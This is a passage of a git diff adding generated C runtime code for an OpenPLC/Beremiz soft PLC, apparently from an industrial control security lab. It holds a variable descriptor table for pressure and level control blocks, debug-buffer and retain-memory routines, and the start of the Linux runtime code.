+{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void 